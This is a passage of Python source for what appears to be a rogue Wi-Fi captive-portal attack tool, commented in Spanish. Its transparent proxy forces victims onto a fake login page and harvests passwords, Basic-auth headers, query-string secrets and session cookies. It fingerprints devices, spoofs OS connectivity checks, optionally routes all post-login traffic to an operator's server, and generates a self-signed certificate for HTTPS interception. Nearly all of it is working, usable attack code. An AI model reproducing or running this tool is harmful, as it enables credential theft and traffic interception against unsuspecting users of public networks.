print(f" {G if ok else R}[{'+'if ok else '!'}]{X} dnsmasq {'recargado' if ok else 'fallo'}")
# =============================================================================
# PROXY HTTP TRANSPARENTE (:8888)
#
# FIX v1.9 -- lógica de routing:
#
# MODO DNS:
# probe paths -> respuesta "correcta" (OS cree que hay internet, no muestra popup)
# cualquier host -> si no authed: redirect portal
# -> si authed Y USER_SRV: forward a USER_SRV (Flask/Nginx)
# -> si authed Y sin USER_SRV: forward al host real
#
# MODO POPUP:
# probe paths -> SIEMPRE redirect portal (fuerza popup)
# cualquier host -> si no authed: redirect portal
# -> si authed Y USER_SRV: forward a USER_SRV
# -> si authed Y sin USER_SRV: forward al host real
#
# SERVIDOR EXTERNO (USER_SRV):
# Cuando está configurado, el proxy hace forward de TODOS los requests
# al servidor externo, pasando el Host original en el header.
# El servidor externo ve: IP real del cliente en X-Forwarded-For,
# Host original, path completo, body completo.
# =============================================================================
class TransparentProxyHandler(BaseHTTPRequestHandler):
server_version = "Apache/2.4"
sys_version = ""
def _ip(self):
return self.client_address[0]
def _authed(self, ip):
with _lk_clients:
_init_client(ip)
return clients[ip]["authed"]
def _hget(self, key):
kl = key.lower()
for k in self.headers.keys():
if k.lower() == kl: return self.headers[k]
return ""
def _path_clean(self):
return self.path.split("?")[0].rstrip("/") or "/"
def _read_body(self):
n = int(self.headers.get("Content-Length", 0) or 0)
return self.rfile.read(n) if n > 0 else b""
def _record(self, ip, method, host, path, status):
now = time.time()
ua = self._hget("User-Agent")
with _lk_clients:
_init_client(ip)
c = clients[ip]
c["last_seen_ts"] = now
c["browsing"] = host
if ua and ua not in c["user_agents"]:
c["user_agents"].append(ua)
og = _guess_os(ua)
if og and not c["os_guess"]: c["os_guess"] = og
for h in ["Accept-Language","Cookie","Authorization","Referer","Origin","Content-Type"]:
v = self._hget(h)
if v: c["headers"][h] = v[:150]
c["http"].append({"t":ts(),"method":method,"host":host,"path":path,"status":status})
if not any(n in host for n in _NOISY):
line = (f" {DM}{ts()}{X} {Y}{ip:<15}{X} "
f"{C}{method:<6}{X} {W}{host}{X}{DM}{path[:55]}{X} "
f"{G if 200<=status<300 else R}{status}{X}")
print(line)
_watch_notify(ip, line)
def _capture_creds(self, ip, host, path, body=b"", method="GET"):
qs = urlparse(path).query
if qs:
c = _parse_creds(qs)
if c: save_creds(ip, host, path, c, "HTTP-GET")
if method in ("POST","PUT","PATCH") and body:
try:
c = _parse_creds(body.decode("utf-8","replace"))
if c: save_creds(ip, host, path, c, "HTTP-POST")
except: pass
auth = self._hget("Authorization")
if auth.startswith("Basic "):
try:
dec = base64.b64decode(auth[6:]).decode("utf-8","replace")
if ":" in dec:
u, p = dec.split(":",1)
save_creds(ip, host, path, {"user":u,"pass":p}, "HTTP-BASIC-AUTH")
except: pass
ck = self._hget("Cookie")
if ck:
creds = {}
for part in ck.split(";"):
part = part.strip()
if "=" in part:
k, v = part.split("=",1)
if CRED_RE.search(k.strip()) and v.strip():
creds[f"cookie_{k.strip()}"] = v.strip()
if creds: save_creds(ip, host, path, creds, "HTTP-COOKIE")
def _redirect_portal(self):
loc = _portal_url()
body = f'<html><body><a href="{loc}">Portal</a></body></html>'.encode()
self.send_response(302)
self.send_header("Location", loc)
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control","no-cache,no-store")
self.end_headers()
self.wfile.write(body)
def _forward_to(self, method, body, target_host, target_port, path=None, orig_host=None):
"""
Forward al servidor indicado (host:port).
FIX v1.9: acepta target_host/port explÃcito para USER_SRV.
Preserva el Host header original para que el servidor externo sepa
a qué dominio iba el request.
"""
use_path = path if path is not None else self.path
use_host = orig_host if orig_host else target_host
try:
conn = _hc.HTTPConnection(target_host, target_port, timeout=10)
fwd = {k:v for k,v in self.headers.items()
if k.lower() not in ("connection","keep-alive","proxy-connection",
"transfer-encoding","upgrade")}
fwd["Host"] = use_host # host original del cliente
fwd["X-Forwarded-For"] = self.client_address[0]
fwd["X-Real-IP"] = self.client_address[0]
conn.request(method, use_path, body=body or None, headers=fwd)
resp = conn.getresponse()
resp_body = resp.read()
resp_hdrs = [(k,v) for k,v in resp.getheaders()
if k.lower() not in ("transfer-encoding","connection","keep-alive")]
conn.close()
self.send_response(resp.status)
for k, v in resp_hdrs: self.send_header(k, v)
self.end_headers()
self.wfile.write(resp_body)
return resp.status
except Exception as e:
try:
msg = f"<html><body><h2>Error de conexion</h2><p>{e}</p></body></html>".encode()
self.send_response(502)
self.send_header("Content-Type","text/html")
self.send_header("Content-Length",str(len(msg)))
self.end_headers()
self.wfile.write(msg)
except: pass
return 502
def _forward_real(self, method, body):
"""Forward al destino real (para clientes authed sin USER_SRV)."""
host_hdr = self._hget("Host") or GW_IP
real_host = host_hdr.split(":")[0]
parts = host_hdr.split(":")
port = int(parts[1]) if len(parts) > 1 and parts[1].isdigit() else 80
return self._forward_to(method, body, real_host, port, orig_host=host_hdr)
def _forward_user_srv(self, method, body):
"""
FIX v1.9: Forward al servidor externo del usuario (Flask/Nginx).
USER_SRV = "host:port" (ej: "10.0.0.1:5000" o "127.0.0.1:8080")
El path, headers y body llegan intactos al servidor externo.
El servidor externo ve el Host original del cliente en el header Host.
"""
srv = USER_SRV # "host:port"
parts = srv.rsplit(":", 1)
t_host = parts[0]
t_port = int(parts[1]) if len(parts) > 1 else 80
orig_host = self._hget("Host") or GW_IP
return self._forward_to(method, body, t_host, t_port, orig_host=orig_host)
def _serve_portal_integrated(self, ip, method, host, path, body):
"""Sirve el portal HTML integrado."""
if method == "POST" and path in ("/login","/portal"):
try:
creds = _parse_creds(body.decode("utf-8","replace"))
if creds: save_creds(ip, host, path, creds, "HTTP-POST-PORTAL")
except: pass
with _lk_clients:
_init_client(ip); clients[ip]["authed"] = True
net_allow(ip)
cid = _ip_to_id.get(ip,"?")
print(f"\n {G}[AUTH]{X} {C}#{cid}{X} {W}{ip}{X} -> {G}internet ON{X}\n")
html = PORTAL_SUCCESS_HTML.encode()
self.send_response(200)
self.send_header("Content-Type","text/html; charset=utf-8")
self.send_header("Content-Length",str(len(html)))
self.end_headers()
self.wfile.write(html)
return 200
html = PORTAL_HTML.encode()
self.send_response(200)
self.send_header("Content-Type","text/html; charset=utf-8")
self.send_header("Content-Length",str(len(html)))
self.send_header("Cache-Control","no-cache")
self.end_headers()
self.wfile.write(html)
return 200
def _handle(self, method):
ip = self._ip()
host = (self._hget("Host") or GW_IP).split(":")[0]
path = self._path_clean()
body = self._read_body() if method in ("POST","PUT","PATCH") else b""
# ââ Probe paths (detección captive portal por OS) ââââââââââââââââ
if path in _PROBE_PATHS:
if self._authed(ip):
# Cliente con 'allow': darle respuesta correcta siempre
# Si está authed no debe quedar atascado en connectivity checks
code, ctype, rbody = _PROBE_OK[path]
self.send_response(code)
if ctype: self.send_header("Content-Type", ctype)
if rbody: self.send_header("Content-Length", str(len(rbody)))
self.send_header("Cache-Control","no-cache,no-store")
self.end_headers()
if rbody: self.wfile.write(rbody)
self._record(ip, method, host, path, code)
elif PORTAL_MODE == "popup":
# No authed + popup: redirigir al portal para mostrar el popup
self._redirect_portal()
self._record(ip, method, host, path, 302)
else:
# No authed + dns: respuesta correcta, el proxy intercepta
code, ctype, rbody = _PROBE_OK[path]
self.send_response(code)
if ctype: self.send_header("Content-Type", ctype)
if rbody: self.send_header("Content-Length", str(len(rbody)))
self.send_header("Cache-Control","no-cache,no-store")
self.end_headers()
if rbody: self.wfile.write(rbody)
self._record(ip, method, host, path, code)
return
# ââ Requests al portal/gateway propio âââââââââââââââââââââââââââ
is_portal = (host == GW_IP or (PORTAL_DOMAIN and host == PORTAL_DOMAIN))
if is_portal:
if USER_SRV:
# FIX v1.9: forward al servidor externo del usuario
# El servidor Flask/Nginx recibe el request completo
self._capture_creds(ip, host, path, body, method)
status = self._forward_user_srv(method, body)
# Si el servidor externo responde con login exitoso (POST /login)
# marcamos al cliente como authed
if method == "POST" and path in ("/login","/portal") and status in (200,201,302):
with _lk_clients:
_init_client(ip); clients[ip]["authed"] = True
net_allow(ip)
cid = _ip_to_id.get(ip,"?")
print(f"\n {G}[AUTH]{X} {C}#{cid}{X} {W}{ip}{X} -> {G}internet ON{X}\n")
else:
status = self._serve_portal_integrated(ip, method, host, path, body)
self._record(ip, method, host, path, status)
return
# ââ Cliente no autenticado âââââââââââââââââââââââââââââââââââââââ
if not self._authed(ip):
self._redirect_portal()
self._record(ip, method, host, path, 302)
return
# ââ Cliente autenticado ââââââââââââââââââââââââââââââââââââââââââ
self._capture_creds(ip, host, path, body, method)
if USER_SRV:
# FIX v1.9: con servidor externo, TODO el tráfico va a USER_SRV
# Esto permite que Flask/Nginx intercepte TODA la navegación post-auth
status = self._forward_user_srv(method, body)
else:
# Sin servidor externo: forward al internet real
status = self._forward_real(method, body)
self._record(ip, method, host, path, status)
def do_GET(self): self._handle("GET")
def do_POST(self): self._handle("POST")
def do_PUT(self): self._handle("PUT")
def do_DELETE(self): self._handle("DELETE")
def do_HEAD(self): self._handle("HEAD")
def do_OPTIONS(self): self._handle("OPTIONS")
def do_PATCH(self): self._handle("PATCH")
def log_message(self, *a): pass
def start_transparent_proxy(gw):
global _proxy_server
try:
_proxy_server = HTTPServer((gw, PROXY_PORT), TransparentProxyHandler)
_proxy_server.timeout = 30
threading.Thread(target=_proxy_server.serve_forever, daemon=True).start()
print(f"{G}[+]{X} Proxy transparente {W}{gw}:{PROXY_PORT}{X} {DM}(intercepta TODO HTTP){X}")
except OSError as e:
print(f"{R}[!] Proxy :{PROXY_PORT} fallo: {e}{X}")
print(f"{Y} ss -tlnp | grep {PROXY_PORT}{X}"); sys.exit(1)
# =============================================================================
# HTTPS (:443) -- cert autofirmado, redirige al portal
# =============================================================================
def _cert_paths():
if SSL_CERT_CUSTOM and SSL_KEY_CUSTOM:
return Path(SSL_CERT_CUSTOM), Path(SSL_KEY_CUSTOM)
return SSL_CERT, SSL_KEY
def generate_self_signed_cert():
if SSL_CERT_CUSTOM and SSL_KEY_CUSTOM:
cp, kp = Path(SSL_CERT_CUSTOM), Path(SSL_KEY_CUSTOM)
if cp.exists() and kp.exists():
print(f"{G}[+]{X} Cert personalizado: {W}{cp.name}{X}"); return
if SSL_CERT.exists() and SSL_KEY.exists(): return
print(f"{Y}[*]{X} Generando certificado SSL autofirmado...")
cn = _portal_host()
rc, _, _ = run(
f"openssl req -x509 -newkey rsa:2048 -nodes "
f"-keyout {SSL_KEY} -out {SSL_CERT} -days 365 "
f"-subj '/CN={cn}/O=WiFi/C=US' "
f"-addext 'subjectAltName=IP:{GW_IP},DNS:{cn}' 2>/dev/null", silent=True)
if rc == 0: print(f"{G}[+]{X} Cert SSL autofirmado generado")
else: print(f"{Y}[!]{X} openssl fallo, HTTPS no disponible")